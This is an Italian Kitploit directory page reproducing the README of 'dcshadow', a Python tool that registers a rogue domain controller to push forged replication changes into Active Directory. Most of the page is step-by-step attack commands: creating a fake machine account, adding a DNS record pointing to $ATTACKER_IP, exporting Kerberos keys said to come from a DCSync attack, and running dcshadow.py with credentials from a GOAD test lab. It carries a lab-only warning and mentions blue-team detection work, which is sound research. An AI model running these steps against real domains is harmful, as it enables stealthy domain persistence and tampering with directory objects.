Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
dcshadow — Alternativa Python a Mimikatz lsadump::dcshadow | Kitploit
Strumenti/GitHubGitHub/shutdownrepo/dcshadow
Strumenti DifensiviMeccanismi di PersistenzaPost-ExploitPenetration TestingRed Teaming
GitHubshutdownrepo/dcshadow

dcshadow

Alternativa Python a Mimikatz lsadump::dcshadow

Vedi Repository
1621751 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

[!WARNING] NON ESEGUIRLO IN PRODUZIONE. È pensato per test in laboratorio, per consentire ai blue team di lavorare sull'identificazione di IoC, tipi di evento e comportamento. Inoltre, questo strumento è fornito così com'è. Non è previsto supporto oltre alla revisione standard delle pull request che potreste voler creare. Non eseguirlo da un host Windows. Fallo da Linux o da una VM (per evitare conflitti con i servizi RPC).

Teoria

Questo progetto vuole essere un'alternativa in puro Python alla tecnica dcshadow di Mimikatz. Include un Impacket personalizzato con crypto, gssapi e drsuapi modificati, tra le altre cose.

DCShadow è una potente tecnica di persistenza che può essere considerata un trasporto per altre tecniche come SID history, KRBTGT RBCD, abuso di ACE, e altre.

Questo strumento potrebbe rappresentare le fondamenta per un framework di persistenza AD più versatile, che la nostra community possa usare per aumentare la maturità complessiva sull'argomento.

Questo strumento è stato testato su GOAD.

Hands-on

0. Installazione

root@kitploit:~
Scarica lo strumento
python3 -m venv venv source ./venv/bin/activate pip3 install -r ./requirements.txt pip3 install ./impacket

1. Crea un account macchina

Questa macchina verrà registrata come domain controller per la durata della replica e verrà deregistrata al termine.

root@kitploit:~
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug

[!WARNING] adcomputer.py è stato modificato per impostare msDS-SupportedEncryptionTypes a 0x1f. Gli ultimi test sembrano generare una violazione di vincolo.

root@kitploit:~
[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket
Traceback (most recent call last):
 File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps
   raise Exception(str(ldapConn.result))
Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}
[-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}

Per ora, usa lo script addcomputer.py standard di Impacket e modifica msDS-SupportedEncryptionTypes manualmente tramite ADSI edit.

2. Voce DNS per la macchina

È necessario affinché il DC legittimo sappia come raggiungere il DC rogue ed evitare errori ERROR_DS_DNS_LOOKUP_FAILURE.

root@kitploit:~
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"

[!TIP] Se per qualche motivo il comando non funziona, aggiungi manualmente la voce DNS tramite gli strumenti DNS sul domain controller.

3. Credenziali del DC rogue

Quando abbiamo iniziato a sviluppare questo strumento, usavamo credenziali hardcoded in un file .env, caricate nella funzione gss_kerberos_ap_req nel file dcshadow/utils/server/RpcServer.py.

Questo necessita chiaramente di un miglioramento. La password dell'account del DC rogue potrebbe essere passata come argomento CLI e calcolare le chiavi Kerberos. Krbrelayx lo fa già, così come dacledit.py; serve solo copia e incolla.

Per ora devi esportare le chiavi Kerberos come variabili d'ambiente.

Dovrebbe apparire così:

root@kitploit:~
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc

Queste chiavi possono essere recuperate tramite un attacco DCSync.

4. DCShadow (file JSON)

root@kitploit:~
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"

[!TIP] In questo caso, un file repl.json viene usato per specificare gli oggetti e gli attributi target. In alternativa, lo strumento supporta opzioni in linea (ad es., --object, --attribute e --value).

Errori comuni

DRSReplicaAdd: timed out

Se DRSReplicaAdd va in timeout, probabilmente si tratta di un problema di rete/firewall sulla macchina che esegue dcshadow.py (il DC rogue), che probabilmente non consente il traffico in ingresso sulla porta 135/TCP (epmapper) e 1337/TCP (o porta dinamica se implementata in futuro, per drsuapi).

DRSReplicaAdd: rpc_s_access_denied

Dovresti eseguire Wireshark sul domain controller legittimo, ma la causa più probabile è che stai tentando di eseguire questo strumento su una macchina Windows: quando il DC legittimo chiede all'epmapper del tuo DC rogue la porta dell'endpoint drsuapi, la risposta è vuota perché è l'epmapper della tua stessa macchina Windows a rispondere, non quello personalizzato.

Crediti

Questo progetto non sarebbe stato possibile senza l'enorme aiuto di Alessandro Iandoli "MrAle98", un ricercatore di talento incontrato durante lo sviluppo. Grazie Alessandro!

I crediti vanno a Benjamin Delpy e Vincent Letoux per la scoperta iniziale, i talk e l'implementazione in Mimikatz.

Vorrei ringraziare anche Volker, che ha partecipato alle prime fasi dello sviluppo.

Grazie a Dramelac per l'aiuto nel passare da PoC a progetto modulare, una base per un futuro framework, se mai dovesse arrivarci.